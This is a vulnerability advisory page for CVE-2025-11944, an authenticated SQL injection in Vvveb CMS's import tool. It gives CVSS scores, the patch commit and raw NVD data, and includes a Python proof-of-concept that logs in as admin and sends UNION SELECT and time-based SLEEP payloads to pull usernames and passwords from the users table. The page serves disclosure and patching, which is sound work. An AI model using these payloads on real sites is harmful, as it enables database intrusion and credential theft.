Security Vulnerability Report
中文
CVE-2025-11944 CVSS 4.7 MEDIUM

CVE-2025-11944

Published: 2025-10-19 20:15:37
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in givanz Vvveb up to 1.0.7.3. This affects the function Import of the file admin/controller/tools/import.php of the component Raw SQL Handler. This manipulation causes sql injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. Patch name: 52204b4a106b2fb02d16eee06a88a1f2697f9b35. It is recommended to apply a patch to fix this issue.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:vvveb:vvveb:*:*:*:*:*:*:*:* - VULNERABLE
givanz Vvveb <= 1.0.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11944 PoC - Vvveb CMS Raw SQL Handler SQL Injection # Vulnerability Location: admin/controller/tools/import.php - Import function # Component: Raw SQL Handler import requests # Target configuration TARGET_URL = "http://target-vvveb-site.com" ADMIN_PATH = "/admin" IMPORT_ENDPOINT = f"{TARGET_URL}{ADMIN_PATH}/index.php?route=tools/import" # Attacker credentials (requires admin privileges - PR:H) USERNAME = "admin" PASSWORD = "password123" # Create session for authenticated requests session = requests.Session() # Step 1: Login as administrator def login(session, base_url, username, password): login_url = f"{base_url}{ADMIN_PATH}/index.php?route=user/login" # Obtain CSRF token if needed response = session.get(login_url) # Perform login (implementation depends on Vvveb's auth mechanism) login_data = { "username": username, "password": password } session.post(login_url, data=login_data) print(f"[*] Attempted login as {username}") # Step 2: Exploit SQL Injection via Import function def exploit_sqli(session, import_url): # Malicious SQL payload injected into the import handler # The Raw SQL Handler fails to sanitize input properly payload = { "sql": "1' UNION SELECT username,password,email FROM users-- -", "import": "Execute" } response = session.post(import_url, data=payload) if response.status_code == 200: print("[+] SQL Injection payload sent successfully") print("[*] Response body:") print(response.text) return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None # Step 3: Time-based blind SQLi alternative def exploit_blind_sqli(session, import_url): # Time-based payload for blind extraction payload = { "sql": "1' AND SLEEP(5)-- -", "import": "Execute" } import time start = time.time() response = session.post(import_url, data=payload) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Blind SQLi confirmed - Response delayed {elapsed:.2f}s") return True return False if __name__ == "__main__": print("[*] CVE-2025-11944 - Vvveb CMS SQL Injection PoC") login(session, TARGET_URL, USERNAME, PASSWORD) exploit_sqli(session, IMPORT_ENDPOINT) exploit_blind_sqli(session, IMPORT_ENDPOINT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11944", "sourceIdentifier": "[email protected]", "published": "2025-10-19T20:15:36.930", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in givanz Vvveb up to 1.0.7.3. This affects the function Import of the file admin/controller/tools/import.php of the component Raw SQL Handler. This manipulation causes sql injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. Patch name: 52204b4a106b2fb02d16eee06a88a1f2697f9b35. It is recommended to apply a patch to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vvveb:vvveb:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.0.7.3", "matchCriteriaId": "D8113636-0233-4870-AF7A-6771012C41AE"}]}]}], "references": [{"url": "https://github.com/givanz/Vvveb/", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/commit/52204b4a106b2fb02d16eee06a88a1f2697f9b35", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/givanz/Vvveb/issues/332", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/givanz/Vvveb/issues/332#issue-3505043543", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.329024", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329024", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.673129", "source": "cna@v ... (truncated)